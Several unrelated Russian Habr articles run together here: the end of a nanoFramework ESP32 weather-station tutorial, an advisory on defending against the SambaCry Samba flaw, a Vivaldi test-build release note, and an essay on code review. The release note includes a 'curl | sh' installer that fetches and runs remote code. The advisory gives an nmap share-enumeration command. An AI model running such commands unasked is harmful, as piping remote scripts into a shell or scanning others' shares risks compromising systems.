_handlerThread.Start();
}
```
Используя интерфейс, получаем показания датчиков:
```
sensorsResult = _sensorsService.GetSensorsResult();
```
Далее, считываем код кнопки:
```
key = _keyboardService.ReadKey();
```
В зависимости от нажатой кнопки отправляем на интерфейс дисплея необходимые данные для отображения. Где *Screen.DateTime\_1* и *Screen.TempHum\_2* тип экрана для отображения, второй параметр тип *object* данные для отображения.
```
switch (currentScreen)
{
case Screen.DateTime_1:
DateTime currentDateTime = DateTime.UtcNow + TimeSpan.FromHours(3); // +3 GMT
_displayService.Show(Screen.DateTime_1, currentDateTime);
break;
case Screen.TempHum_2:
_displayService.Show(Screen.TempHum_2, sensorsResult);
break;
...
```
Для завершения работы сервиса вызывается метод *Stop()*.
```
public void Stop()
{
Debug.WriteLine("MonitorService stopped");
_cs.Cancel();
Thread.Sleep(2000);
if (_handlerThread.ThreadState == ThreadState.Running) _handlerThread.Abort();
}
```
Теперь перейдем к основному *host builder*.
Generic Host
============
Для создания хоста запускается построитель хоста (host builder), в задачу которого входит создание контейнера сервисов, т.е. создается *ServiceProvider* содержащий коллекцию сервисов.
Основная функция *Main()*, файл [Program.cs](https://github.com/devdotnetorg/nanoFramework-samples/blob/master/nanoframework-esp32-di-weatherstation/Program.cs):
```
public static void Main()
{
//////////////////////////////////////////////////////////////////////
// when connecting to an ESP32 device, need to configure the I2C GPIOs
Configuration.SetPinFunction(21, DeviceFunction.I2C1_DATA);
Configuration.SetPinFunction(22, DeviceFunction.I2C1_CLOCK);
//////////////////////////////////////////////////////////////////////
IHost host = CreateHostBuilder().Build();
// starts application and blocks the main calling thread
host.Run();
}
```
До использования датчиков на шине I2C необходимо объявить соответствующие контакты 21-pin и 22-pin.
Затем построитель хоста создает *host* и затем его запускаем методом *Run()*.
Регистрация сервисов выполняется в отдельной функции *CreateHostBuilder()*:
```
public static IHostBuilder CreateHostBuilder() =>
Host.CreateDefaultBuilder()
.ConfigureServices(services =>
{
//Receiving data from sensors
services.AddSingleton(typeof(ISensorsService), typeof(SensorsSingleton));
//Data output to the display
services.AddSingleton(typeof(IDisplayService), typeof(DisplaySingleton));
//Keyboard
services.AddSingleton(typeof(IKeyboardService), typeof(KeyboardSingleton));
//MonitorService
services.AddHostedService(typeof(MonitorService));
//Connecting to WiFi and time synchronization
services.AddHostedService(typeof(ConnectionService));
});
```
Необходимо обратить внимание, что жизненный цикл *Singleton* начинается только тогда, когда они вызывются из *HostedService*.
Последним из сервисов вызывается сервис подключения по беспроводному соединению Wi-Fi к сети Интернет для синхронизации времени. Рассмотрим его подробнее.
Классы BackgroundService и SchedulerService
===========================================
Дополнительно в библиотеке есть классы *SchedulerService* и *BackgroundService*, образованные от *IHostedService*.
#### Класс SchedulerService
Данных класс предназначен для выполнения повторяющихся действий с заданным интервалом времени. Класс содержит объект [Timer](https://docs.nanoframework.net/api/System.Threading.Timer.html) и запускает в указанное время с заданным интервалом асинхронный метод *ExecuteAsync()*. Таймер выключается вызовом метода *Stop()*.
Пример сервиса на базе класса SchedulerService:
```
public class DisplayService : SchedulerService
{
// represents a timer control that involks ExecuteAsync at a
// specified interval of time repeatedly
public DisplayService() : base(TimeSpan.FromSeconds(1)) {}
protected override void ExecuteAsync(object state)
{
}
}
```
#### Класс BackgroundService
Класс предназначен для выполнения долгоработающей фоновой задачи. Для запуска сервиса вызывается асинхронный метод *ExecuteAsync()*. Работа *ExecuteAsync()* должна завершиться сразу после вызова *CancellationRequested* для корректного завершения работы сервиса.
Пример сервиса на базе класса BackgroundService:
```
public class SensorService : BackgroundService
{
protected override void ExecuteAsync()
{
while (!CancellationRequested)
{
// to allow other threads time to process include
// at least one millsecond sleep in loop
Thread.Sleep(1);
}
}
}
```
На основе класса *BackgroundService* реазизована задача подключения к беспроводной сети Wi-Fi.
### Сервис ConnectionService
В задачу сервиса входит подключение к беспроводной сети с последующей синхроизацией времени. После подключение к сети отправляется запрос точного времени на сервер «0.fr.pool.ntp.org», адрес NTP-сервера времени можно выставить любой.
**Файл ConnectionService.cs**
```
protected override void ExecuteAsync()
{
//connecting to WiFi
const string Ssid = "ssid";
const string Password = "password";
// Give 60 seconds to the wifi join to happen
CancellationTokenSource cs = new(60000);
bool flag = false;
while (!flag)
{
var success = WifiNetworkHelper.ConnectDhcp(Ssid, Password, System.Device.Wifi.WifiReconnectionKind.Manual, requiresDateTime: false, token: cs.Token);
if (!success)
{
// Something went wrong, you can get details with the ConnectionError property:
Debug.WriteLine($"Can't connect to the network, error: {WifiNetworkHelper.Status}");
if (WifiNetworkHelper.HelperException != null)
Debug.WriteLine($"ex: {WifiNetworkHelper.HelperException}");
}
else
{
Debug.WriteLine($"success");
flag = true;
}
}
//time synchronization
Sntp.Server1 = "0.fr.pool.ntp.org";
Sntp.UpdateNow();
Debug.WriteLine($"Now: {DateTime.UtcNow}");
}
```
**Исходный код приложения:** [GitHub — nanoframework-esp32-di-weatherstation](https://github.com/devdotnetorg/nanoFramework-samples/tree/master/nanoframework-esp32-di-weatherstation)
Доработка библиотеки для дисплея SSD1306 OLED
=============================================
В прошлый раз библиотека [nanoFramework.Iot.Device.Ssd13xx](https://github.com/devdotnetorg/nanoFramework.IoT.Device/tree/change-ssd13xx_v2/devices/Ssd13xx) была доработана для поддержки 7-pin контатного варианта дисплея, [Pull requests #550](https://github.com/nanoframework/nanoFramework.IoT.Device/pull/550). Но на этом работа с дисплеем оказалась не закончена. Во время написания приложения обнаружился неприятный эффект в виде большой паузы во время перерисовки экрана при выводе времени. Перерисовка экрана выполнялась 1 раз в секунду. Проблема заключалась в неверном подходе работы с дисплеем. Рассмотрим текущий алгоритм работы с дисплеем:
```
using Ssd1306 device = new Ssd1306(I2cDevice.Create(new I2cConnectionSettings(1, Ssd1306.SecondaryI2cAddress)), Ssd13xx.DisplayResolution.OLED128x64, 18);
device.ClearScreen();
device.Font = new BasicFont();
device.DrawString(2, 2, "nF IOT!", 2);//large size 2 font
device.DrawString(2, 32, "nanoFramework", 1, true);//centered text
device.Display();
```
Метод *ClearScreen()* очищает экран от изображения. Далее методами *DrawString()* выполняется формирование изображения в буфере дисплея. Метод *Display()* формирует изображение на дисплее исходя из матрицы данных в буфере. Таким образом, видна очевидная проблема при повторной отрисовки изображения, которая заключается в том, что в интервал времени между вызовами методов *ClearScreen()* и *Display()* дисплей заполнен черным цветом.
Для решения этой проблемы в библиотеку необходимо добавить новый метод очистки буфера дисплея. В результате после вызова метода очистки буфера дисплея при формирования нового изображения, на дисплее будет отображаться текущее изображение. Далее при вызове *Display()* изображения отрисуется минуя стадию заполнения дисплея черным цветом, и мигание при отрисовке со стороны пользователя не будет видно.
Для упрощения реализации, в методе *ClearScreen()*, просто была закомментирована строка вызова метода *Display()* для перерисовки экрана дисплея.
Файл [Ssd13xx.cs](https://github.com/devdotnetorg/nanoFramework-samples/blob/master/nanoframework-esp32-di-weatherstation/Drivers/Ssd13xx/Ssd13xx.cs), метод *ClearScreen()*:
```
public void ClearScreen()
{
Array.Clear(_genericBuffer, 0, _genericBuffer.Length);
//---> Display();
}
```
Ресурсы
=======
* [.NET nanoFramework Dependency Injection Library — Github](https://github.com/nanoframework/nanoFramework.DependencyInjection)
* [.NET nanoFramework Generic Host Library repository — Github](https://github.com/nanoframework/nanoFramework.Hosting)
* [nanoFramework team code samples — Github](https://github.com/nanoframework/Samples)
[](https://cloud.timeweb.com/vds-vps?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-6-rub) | https://habr.com/ru/post/688052/ | null | ru | null |
# Критическая уязвимость SambaCry: как защититься
[](https://habrahabr.ru/company/pt/blog/329558/)
В популярном пакете для создания сетевых дисков на различных ОС Samba обнаружена критическая уязвимость, позволяющая удаленно получать контроль над Linux и Unix-системами. Ошибка просуществовала 7 лет — уязвимости CVE-2017-7494 подвержены все версии пакета, начиная с Samba 3.5.0, который вышел 1 марта 2010 года. Сегодня мы поговорим о том, как защититься от этой уязвимости.
Возможные последствия эксплуатации
----------------------------------
Описания уязвимости публиковали на [Хабре](https://habrahabr.ru/company/cloud4y/blog/329464/) (также [опубликован](https://github.com/omri9741/cve-2017-7494) код эксплоита ), поэтому не будем останавливаться на этом подробно. Достаточно сказать, что по [данным](http://thehackernews.com/2017/05/samba-rce-exploit.html?m=1) поисковой системы Shodan в настоящий момент из интернета доступны более 485 000 тысяч компьютеров, использующих Samba. Исследователи из Rapid7 [оценили](https://community.rapid7.com/community/infosec/blog/2017/05/25/patching-cve-2017-7494-in-samba-it-s-the-circle-of-life) долю доступных извне уязвимых систем в 104 000, из них 92 000 компьютеров используют неподдерживаемые версии Samba.
Эта масштабная проблема затрагивает, в том числе, NAS-серверы Synology:
> This issue affects [@Synology](https://twitter.com/Synology) NAS servers! <https://t.co/lQ5lgFEVjK>
>
> — 360 Core Security (@360CoreSec) [May 25, 2017](https://twitter.com/360CoreSec/status/867573719522131968)
Уязвимы также большое количество маршрутизаторов и NAS компании Netgear, которая опубликовала по этому поводу собственный [бюллетень безопасности](https://kb.netgear.com/000038779/Security-Advisory-for-CVE-2017-7494-Samba-Remote-Code-Execution).
Масштаб проблемы позволил эксперту по безопасности компании Cisco Крейгу Уильямсу (Craig Williams) заявить об угрозе того, что уязвимость CVE-2017-7494 спровоцирует «первую масштабную эпидемию атак червей-вымогателей на Linux-системы».
Во многих домашних роутерах Samba используется для организации общего доступа к USB-устройствам — причем, как правило в таких случаях таким девайсам открываются права на запись. Поэтому, если производители сетевого оборудования в своих прошивках использовали уявзимую версию Samba, то это открывает широкие возможности по проведению атак, например, для создания ботнетов.
Как защититься
--------------
Разработчики Samba сообщили об устранении уязвимости в последних версиях пакета (4.6.4/4.5.10/4.4.14) — пользователям рекомендуется как можно скорее установить [патч](https://www.samba.org/samba/security/CVE-2017-7494.html). В том случае, если переход на более свежую версию пакета невозможен, создатели продукта рекомендуют внести изменения в конфигурационный файл smb.conf, добавив в секцию [global] строку:
```
nt pipe support = no
```
После этого следует перезапустить демон SMB (smbd). Эти изменения заблокируют возможность полного доступа клиентов к сетевым машинам и ограничат функциональность подключенных Windows-систем. Позднее были опубликованы [патчи](https://www.samba.org/samba/patches/) и для более старых версий Samba.
Заблокировать возможность осуществления атаки можно с помощью политик SELinux — к примеру, конфигурация RHEL по-умолчанию не позволяет злоумышленникам эксплуатировать уязвимость в Samba.
Компания GuardiCore разработала [скрипт](https://www.guardicore.com/2017/05/samba/) для выявления атаки — для его скачивания необходимо заполнить форму на сайте.
В свою очередь эксперты Positive Technologies создали сигнатуру Suricata, которая позволяет выявлять попытки эксплуатации уязвимости CVE-2017-7494 в Samba:
> [#RCE](https://twitter.com/hashtag/RCE?src=hash) in [#Samba](https://twitter.com/hashtag/Samba?src=hash) via shared library upload [#SambaCry](https://twitter.com/hashtag/SambaCry?src=hash)
> CVE-2017-7494
> Affected: > 3.5.0[#Suricata](https://twitter.com/hashtag/Suricata?src=hash) rules and pcap: <https://t.co/YdczlmUCXN>
>
> — Attack Detection (@AttackDetection) [May 25, 2017](https://twitter.com/AttackDetection/status/867829634242560000)
Кроме того, для снижения рисков успешной атаки с помощью этой ошибки специалисты компании рекомендуют устанавливать общим папкам права лишь на чтение, но не на запись файлов (о том, как это сделать, можно прочитать в [этой инструкции](https://www.cyberciti.biz/tips/how-do-i-set-permissions-to-samba-shares.html)). Найти все сетевые папки с правами на запись может быть непросто — для этого следует использовать, например, инструмент nmap. Увидеть все «шары» с правами на запись можно с помощью следующей команды (смотреть нужно в Current user access):
```
nmap --script smb-enum-shares.nse -p445
```
Кроме того, рекомендуется проанализировать права доступа к сетевым папкам, оставив права на чтение и запись из них только для определенных доверенных пользователей с помощью [контрольных списков](http://help.ubuntu.ru/wiki/%D1%80%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_ubuntu_server/%D1%81%D0%B5%D1%82%D1%8C_windows/securing_samba_servers). | https://habr.com/ru/post/329558/ | null | ru | null |
# Ещё чуть ближе к совершенству
Всем привет!
Ещё не остыла печь после выпекания вчерашней сборки, а мы уже подаём на стол новое, ещё более вкусное блюдо — тестовую сборку Vivaldi 2.0.1296.4. Собственно, исправлений немного, но зато теперь заработали медиа-данные в версии для MacOSX. Всё, что нужно — под катом.
Файлы для загрузки:
[Windows 32-bit](https://downloads.vivaldi.com/snapshot/Vivaldi.2.0.1296.4.exe) для Win7+
[Windows 64-bit](https://downloads.vivaldi.com/snapshot/Vivaldi.2.0.1296.4.x64.exe) для Win7+
[Mac 10.9+](https://downloads.vivaldi.com/snapshot/Vivaldi.2.0.1296.4.dmg)
[Linux RPM 64-bit](https://downloads.vivaldi.com/snapshot/vivaldi-snapshot-2.0.1296.4-1.x86_64.rpm) (рекомендуется)
[Linux RPM 32-bit](https://downloads.vivaldi.com/snapshot/vivaldi-snapshot-2.0.1296.4-1.i386.rpm)
[Linux DEB 64-bit](https://downloads.vivaldi.com/snapshot/vivaldi-snapshot_2.0.1296.4-2_amd64.deb) (рекомендуется)
[Linux DEB 32-bit](https://downloads.vivaldi.com/snapshot/vivaldi-snapshot_2.0.1296.4-1_i386.deb)
[ARM 32-bit](https://downloads.vivaldi.com/snapshot/vivaldi-snapshot_2.0.1296.4-1_armhf.deb)
[ARM 64-bit](https://downloads.vivaldi.com/snapshot/vivaldi-snapshot_2.0.1296.4-1_arm64.deb)
Linux [non-DEB/RPM](https://vivaldi.com/blog/snapshots/linux-snapshot-alternative-install-script/): `curl -sL https://vvld.in/inst-lnx | sh`
Полный список изменений:
— [Regression][Mac][Media] AVC/AAC не работают с MSE VB-42787
— [Regression] Крэш при сохранении изображений из средств разработки VB-43122
— [Regression] Поиск в настройках не отображает некоторых элементов VB-42959
— [Regression] Жесты мышью не работают после переключения вкладок колесом мыши VB-43127
— [Regression] Крэш после жеста мышью 'Открыть ссылку в новой вкладке' VB-42908
— [Mac][Installer] Окно установки выглядит некорректно при включенном отображении скрытых файлов VB-43163
— [Web Panel][Speed Dial] Добавленные пользователем рекомендованные страницы должны скрываться из списка VB-43024
Напоминаем вам, что еженедельные сборки являются тестовыми, поэтому не забывайте делать резервные копии важных данных. Сообщать о найденных ошибках можно по [прежнему адресу](https://vivaldi.com/bugreport/). | https://habr.com/ru/post/422603/ | null | ru | null |
# Code review по-человечески (часть 2)
Это вторая часть статьи о том, как правильно общаться и избежать ошибок в процессе код-ревью. Здесь мы поговорим о том, как довести ревью до конца и избежать неприятных конфликтов.
Основы изложены в [первой части](https://habrahabr.ru/post/340550/), так что рекомендую начать с неё. Но если не терпится, вот её краткое содержание: хороший рецензент не только ищет баги, но и обеспечивает добросовестную обратную связь, чтобы помочь коллеге повысить свой уровень.
Моё худшее код-ревью
====================
Худшее код-ревью в моей жизни было для бывшей коллеги, назовём её Мэллори. Она начала работать в компании за несколько лет до меня, но только недавно перешла в мой отдел.
#### Ревью
Когда Мэллори прислала для ревью первый список изменений, код был довольно сырой. Она никогда раньше не писала на Python и никогда не разрабатывала систему поверх неуклюжей легаси-системы, которую мне приходилось поддерживать.
Я добросовестно задокументировал все проблемы, которые сумел найти, всего 59 штук. Если верить прочитанной литературе по код-ревью, я проделал отличную работу: нашёл ТАК много ошибок. Мне действительно было чем гордиться.
Через несколько дней Мэллори прислала новый список изменений и ответ на мои заметки. Она исправила самые простые ошибки: опечатки, названия переменных и т.д. Но отказалась решать проблемы высокого уровня, такие как неопределённое поведение кода для искажённых входных данных или то, что структуры потока управления в одной из её функций находились на шестом уровне вложенности. Вместо этого она печально пояснила, что исправление этих проблем не стоит времени разработки.
Рассерженный и раздосадованный, я выслал новые замечания. Мой тон был профессиональным, но переходил в область пассивно-агрессивного: «Можешь объяснить, зачем нам неопределённое поведение для искажённых входных данных?» Как несложно догадаться, Мэллори проявляла всё большее упрямство.
#### Цикл ожесточения
Был вторник, прошла уже неделя. Мы с Мэллори по-прежнему обменивались письмами насчёт того же код-ревью. Я отправил ей свои последние замечания вечером предыдущего дня. Я специально дождался, пока она уйдёт с работы, потому что не хотел находиться с ней в одной комнате, когда она получит письмо.
Всё утро я чувствовал физическую тяжесть в желудке, потому что боялся следующего раунда ревью. Когда вернулся с обеда, то увидел, что Мэллори нет на рабочем месте, но от неё пришли новые изменения. Я догадался, что она тоже не хочет присутствовать в комнате, когда я их получу.
Сердце всё сильнее стучало в груди по мере увеличения моего возмущения с каждым её ответом. Я немедленно начал барабанить по клавиатуре опровержения, указывая на то, что она не приняла никакие из моих предлагаемых изменений, и в то же время не предоставила никаких оправданий, чтобы можно было одобрить её код.
Этот ритуал повторялся каждый день в течение трёх недель. Код практически не изменился.
#### Вмешательство
К счастью, наш самый опытный коллега Боб разорвал этот круг. Он вернулся из длительного отпуска и обнаружил, что мы ожесточённо швыряем друг другу заметки по код-ревью. Боб немедленно оценил ситуацию как тупиковую. Он попросил перенести ревью на него, и мы оба согласились.
Боб начал своё ревью с того, что попросил Мэллори составить новые списки изменений, выделив две маленькие библиотеки, о которых мы вообще не спорили, каждая на 30-50 строк. Когда Мэллори сделала это, Боб немедленно одобрил изменения.
Потом он вернулся к основному списку изменений, который сократился примерно до 200 строк кода. Он сделал несколько небольших замечаний, которые Мэллори исправила. Затем одобрил список изменений.
Всё ревью Боба завершилось за два дня.
#### Коммуникация имеет значение
Вы могли уже догадаться, что конфликт на самом деле возник не из-за кода. Там действительно имелись проблемы, но их явно мог решить коллега, который обладал навыками эффективной коммуникации.
Это был неприятный опыт, но я рад вспоминать о нём. Он заставил меня пересмотреть свой подход к код-ревью и определить направления для улучшения.
Ниже я поделюсь некоторыми техниками, которые помогут вам избежать таких неприятных ситуаций. Позже я вернусь к Мэллори и объясню, почему мой изначальный подход имел обратный эффект и почему подход Боба оказался абсолютно блестящим.
Техники
=======
9. [Стремитесь повысить уровень качества кода только на одну-две ступени](#9)
10. [Ограничьте фидбек по повторяющимся примерам](#10)
11. [Уважайте область ревью](#11)
12. [Ищите возможность разбить большие ревью](#12)
13. [Искренне хвалите](#13)
14. [Утверждайте ревью, когда остались тривиальные правки](#14)
15. [Заранее избегайте тупиковых ситуаций](#15)
Стремитесь повысить уровень качества кода только на одну-две ступени
--------------------------------------------------------------------
Хотя в *теории* у вашего коллеги может быть желание исправить абсолютно все недочёты в коде, но его терпение не безгранично. Если вы станете тянуть с одобрением раунд за раундом, у него быстро появится раздражение, потому что у вас возникают всё новые и новые блестящие идеи, как улучшить код.
Я про себя ставлю коду оценку, как в школе, от A до F [от шестёрки до кола в американской системе образования — прим. пер]. Если получаю список изменений, который соответствует оценке D (3), то пытаюсь поднять автора до оценки C или B-. Не идеально, но достаточно хорошо.
В теории возможно повысить уровень качества с D до A+, но это может потребовать до восьми раундов ревью. К концу такой работы автор вас возненавидит и никогда больше не захочет присылать вам код.
Вы можете подумать: «Если я одобрю код уровня C, не приведёт ли это к тому, что вся кодовая база будет уровня C?» К счастью, такого не произойдёт. Я пришёл к выводу, что когда помогаю коллеге подняться с уровня D до C, следующий список изменений от него уже начинается с уровня C. Через несколько месяцев он начинает присылать код, который начинается с B, и переходит на уровень A к последним код-ревью.
Оценка F предназначена для кода, который либо функционально некорректен, либо настолько запутан, что вы не можете быть уверены в его корректности. Единственная причина задержать одобрение — это если код остаётся на уровне F после нескольких раундов ревью. См. [главу о тупиках](#15) ниже.
Ограничьте фидбек по повторяющимся примерам
-------------------------------------------
Если вы заметили, что у автора несколько раз повторяются однотипные ошибки, не нужно помечать каждый случай. Не стоит тратить время на написание одного и того же 25 раз, и автор тоже не захочет читать 25 повторяющихся замечаний.
Нормально будет назвать два или три отдельных случая ошибок этого типа. Для всего остального просто попросите автора исправить все ошибки этого типа, а не перечисляйте каждый конкретный случай.
Уважайте область ревью
----------------------
Существует пример неправильных действий, когда рецензент обнаруживает что-то *рядом* с кодом из списка изменений — и просит автора исправить. Когда тот удовлетворяет просьбу, рецензент обычно находит, что код стал лучше, но он теперь непоследователен, так что нужно произвести ещё несколько незначительных изменений. А потом ещё несколько. Это продолжается и продолжается, пока конкретный лаконичный список изменений не разрастётся, вобрав в себя кучу посторонних вещей.
> *Если у ваших дверей появится голодный мышонок, вы захотите дать ему печенье. И если дадите, он попросит стакан молока. Он захочет посмотреть в зеркало, чтобы проверить, что у него не остались усы от молока, а затем попросит ножницы, чтобы постричься…
>
>
>
> — Лора Джоффе Нумеров, «Если дать мышонку печенье»*
Практическое правило: если изменение не из области ревью, то оно не подлежит разбору.
Вот пример:
Даже если вы всю ночь не можете заснуть и мучаетесь из-за [магического числа](https://en.wikipedia.org/wiki/Magic_number_(programming)) и нелепого названия переменной в коде, это не подлежит разбору. Даже если автор — тот же самый человек, который написал соседние строчки кода, это изменение по-прежнему не подлежит разбору. Если это вопиющий случай, зарегистрируйте баг или предложите собственное исправление, но не заставляйте автора разбираться с этим изменением в процессе код-ревью.
Исключением будет только тот случай, если изменение относится к изменяемому коду, хотя и не входит в него, например:
В этом случае обратите внимание, что автору нужно переименовать функцию с `ValidateAndSerialize` на просто `Serialize`. Это не влияет на сигнатуру функции, но всё равно та становится некорректной с таким названием.
Я слегка нарушаю это правило, если в коде немного исправлений и я замечаю какую-то простую правку, пусть и не подлежащую обязательному разбору. В таких случаях я делаю примечание, что автор может проигнорировать замечание, если хочет.
Ищите возможность разбить большие ревью
---------------------------------------
Если вы получаете список изменений из более чем ~400 строк кода, попросите автора разбить его на более мелкие части. Чем больше строк выходит за пределы этого лимита, тем труднее подготовить ответ. Лично я отказываюсь рассматривать списки изменений более чем на 1000 строк.
Автор может ворчать по поводу разбиения списка изменений, потому что это нудная задача. Облегчите его бремя, предложив логичные границы разделения. Самый простой случай — когда список изменений затрагивает несколько отдельных файлов. Здесь список изменений можно просто разделить между файлами. В более трудных случаях определите функции или классы на самом низком уровне абстракции. Попросите автора перенести их в отдельный список изменений, а после его одобрения вернитесь к остальному коду.
Если код низкого качества, решительно запросите разделение списка изменений. Сложность анализа плохого кода экспоненциально растёт с размером. Вам гораздо проще проводить аудит пары небрежных списков изменений по 300 строк, чем одной большой мерзости на 600 строк.
Искренне хвалите
----------------
Большинство рецензентов фокусируются на *ошибках* в коде, но код-ревью — это великолепная возможность поощрить правильное поведение.
Например, вы рассматриваете код от автора, у которого проблемы с написанием документации — и вдруг натыкаетесь на чёткий, лаконичный комментарий к функции. Скажите автору о его успехе. Он будет быстрее прогрессировать, если вы будете сообщать о правильных действиях, а не просто ждать того случая, когда он облажается — чтобы сообщить ему об этом.
Не нужно иметь какую-то конкретную цель, чтобы похвалить человека. Каждый раз, когда я вижу в списке изменений что-нибудь, что меня радует, я говорю автору об этом:
* «Не знал об это API. Действительно полезная вещь!»
* «Элегантное решение. Никогда о таком не думал»
* Разбить эту функцию было отличной идеей. Так намного проще»
Если автор — начинающий разработчик или недавно присоединился к команде, то может нервничать или занять оборонительную позицию во время ревью. Искренние комплименты частично снимают это напряжение — вы демонстрируете, что являетесь коллегой, который готов помочь, а не враждебным охранником кода с синдромом вахтёра.
Утверждайте ревью, когда остались тривиальные правки
----------------------------------------------------
У некоторых рецензентов есть неправильная установка, что они должны тянуть с одобрением ревью до тех пор, пока не увидят исправления каждой ошибки. Это добавляет несколько ненужных раундов ревью, которые впустую тратят время и автора, и рецензента.
Одобряйте код, если верно любое из следующих утверждений:
* У вас больше нет замечаний.
* У вас остались только тривиальные замечания.
+ Например, переименование переменной, исправление опечатки.
* Оставшиеся изменения необязательны к исправлению.
+ Явно укажите их как необязательные, чтобы у коллеги не возникло впечатление, что от них зависит ваше одобрение.
Я видел, как рецензенты тянут с одобрением, потому что автор не поставил точку в конце комментария. Пожалуйста, не нужно так делать. Так вы указываете автору, что он неспособен поставить простой знак пунктуации без вашего надзора.
Существует некоторая опасность в том, чтобы одобрять код, когда остались нерешённые вопросы. По моей оценке, примерно в 5% случаев автор или неправильно интерпретирует замечания последнего раунда, или полностью упустит их. Чтобы избежать таких ситуаций, я просто проверяю правки, внесённые автором после одобрения. В редких случаях недопонимания я или сообщаю автору, или создаю собственный список изменения с исправлением. Небольшое количество работы в 5% случаев лучше, чем ненужные усилия и задержка в 95% остальных случаев.
Заранее избегайте тупиковых ситуаций
------------------------------------
Самый худший результат код-ревью — это возникновение тупиковой ситуации: вы отказываетесь ставить подпись без дополнительных изменений, а автор отказывается их делать.
Вот некоторые признаки того, что вы зашли в тупик:
* Тон обсуждения становится напряжённым или враждебным.
* Объём важных замечаний на каждом раунде не уменьшается.
* Вы сталкиваетесь с противодействием необычно большому количеству своих замечаний.
#### Поговорите с человеком
Поговорите с человеком в видеочате. Из-за текстового общения легко забыть, что с той стороны живой человек. Слишком легко представить своего коллегу как некое порождение упрямства или некомпетентности. Живая беседа разрушает это неверное впечатление и для вас, и для автора.
#### Предложите дизайн-ревью
Сварливое код-ревью может указывать на то, что какие-то проблемы не предусмотрели заранее в процессе разработки. Может вы спорите о вещах, которые стоило обсуждать во время дизайн-ревью? Оно вообще *было*?
Если причина несогласия лежит в высокоуровневом выборе архитектуры проекта, то решать проблему должен более широкий круг людей, а не просто два человека, которые оказались втянуты в это обсуждение кода. Поговорите с автором о том, чтобы расширить обсуждение на всех остальных участников группы разработки в виде дизайн-ревью.
#### Уступка или эскалация
Чем дольше вы с коллегой топчетесь в тупике, тем больше вреда наносите своим отношениям. Если альтернативы вас не устраивают, то остаётся только два варианта: уступить или обострить.
Оцените, во что выльется одобрение изменений. Вы не можете создавать качественные программы, если постоянно одобряете низкокачественный код, но вы также не сможете добиться высокого качества, если настолько ожесточённо воюете с коллегой, что больше не можете вместе работать. Насколько велик вред, если вы в реальности одобрите список изменений? Этот код способен повредить критически важные данные? Или это фоновый процесс, где в самом худшем случае грозит сбой задачи и необходимость отладки? Если второй вариант более точно описывает ситуацию, то подумайте о том, чтобы уступить и сохранить возможность дальнейшего сотрудничества с коллегой в нормальных условиях.
Если уступить не вариант, поговорите с автором насчёт обсуждения с менеджером группы или техническим руководителем. Предложите назначить другого рецензента. Если эскалация конфликта вам невыгодна, согласитесь с решением и двигайтесь дальше. Продолжение спора приведёт к возникновению плохой ситуации, где вы выставите себя в непрофессиональном свете.
#### Восстановление после тупика
Сумбурные аргументы в процессе обсуждения не столько относятся к коду, сколько к отношениям между людьми. Если вы попали в тупик или близки к нему, такая ситуация может повториться, пока не будет решён основополагающий конфликт.
* Обсудите ситуацию с менеджером.
+ Если конфликт возник в вашей команде, менеджер должен знать о нём. Может быть, с этим автором просто сложно работать. Возможно, вы влияете на ситуацию неким образом, какой сами не понимаете. Хороший менеджер поможет вам обоим решить эти проблемы.
* Отдохните друг от друга.
+ Если возможно, постарайтесь не проводить код-ревью друг у друга несколько недель, пока страсти не утихнут.
* Изучите способы разрешения конфликтов.
+ Мне показалась полезной книга *«[Важные разговоры](https://www.amazon.com/Crucial-Conversations-Talking-Stakes-Business/dp/0071771328/)»*. Её советы могут показаться очевидными, но есть огромная ценность в анализе своего поведения в конфликтной ситуации со стороны, когда вы не находитесь в пылу спора.
Моё худшее код-ревью: работа над ошибками
=========================================
Помните код-ревью с Мэллори? Почему моё стало трёхнедельным мучением с пассивно-агрессивной жижей, а Боб пронёсся ветерком за пару дней?
В чём я ошибся
--------------
Это было первое ревью для Мэллори в нашей группе. Я не подумал, что она может чувствовать предвзятое отношение или занять оборонительную позицию. Мне следовало [начать только с высокоуровневых пометок](https://habrahabr.ru/post/340550/), чтобы не хоронить её под грудой замечаний.
Мне следовало больше постараться, чтобы показать: моя задача не препятствовать её работе, а скорее помочь. Я бы мог предоставить [примеры кода](https://habrahabr.ru/post/340550/) или [отметить положительные моменты](#13) в её списке изменений.
Я позволил [своему эго](https://habrahabr.ru/post/340550/) повлиять на ревью. Я потратил целый год, восстанавливая эту старую систему до работоспособного состояния. Внезапно появляется новый человек, который с ней возится, и она не хочет всерьёз принимать мои замечания? Я воспринял это как оскорбление, но такое отношение стало контрпродуктивным. Мне следовало сохранить объективное отношение, которое я пытаюсь принести во все свои ревью.
В конце концов, я слишком долго позволил сохраняться тупиковой ситуации. После нескольких раундов следовало понять, что дальнейший прогресс отсутствует. Я должен был [радикально изменить ситуацию](#15), например, встретиться лично для разрешения более глубокого конфликта или перенести обсуждение на уровень менеджера.
Что Боб сделал правильно
------------------------
То, что Боб первым делом [разбил ревью на части](#12), оказалось очень эффективным. Вспомните, что ревью застопорилось на три долгие недели страданий. И тут внезапно он одобрил два фрагмента кода. Это придало позитивных эмоций и Мэллори, и Бобу, потому что дело сдвинулось с мёртвой точки, наметился прогресс. В остальном коде по-прежнему остались проблемы, но список изменений уменьшился и стал проще в работе.
Боб [не пытался довести код до совершенства](#9). Вероятно, он нашёл те же проблемы, о которых кричал я, но он учёл, что Мэллори недавно начала работать в нашей команде. Благодаря проявленной в данный момент гибкости он поможет Мэллори улучшить качество кода в долгосрочной перспективе.
Вывод
=====
После публикации первой части статьи некоторые читатели высказали критику относительно стиля общения, который я рекомендовал. Некоторые назвали его покровительственным. Другие беспокоились, что он не слишком прямой и возникает риск недопонимания.
Такие отзывы разумны и их можно было ожидать. Один считает, что краткие комментарии выглядят резкими и грубыми. Другой может назвать их лаконичными и эффективными.
Осуществляя аудит кода, вы принимаете много решений: на чём сконцентрироваться, как оформить отзыв, когда одобрять результат. Не обязательно принимать те варианты, которые *я* предлагаю. Просто имейте в виду, что *есть* варианты.
Никто не даст вам рецепт идеального ревью. Наиболее эффективные техники в каждом конкретном случае зависят от личности автора, ваших взаимоотношений и корпоративной культуры. Оттачивайте свой подход, критически размышляя о результатах своего ревью. Когда возникает напряжённость, возьмите паузу и оцените происходящее. Уделяйте внимание качеству своих замечаний и предложений. Если вы не можете довести код до своих стандартов качества, подумайте, какие помехи есть в процессе ревью — и как их устранить.
Удачи, и пусть ваши код-ревью будут человеческими.
Дополнительная литература
=========================
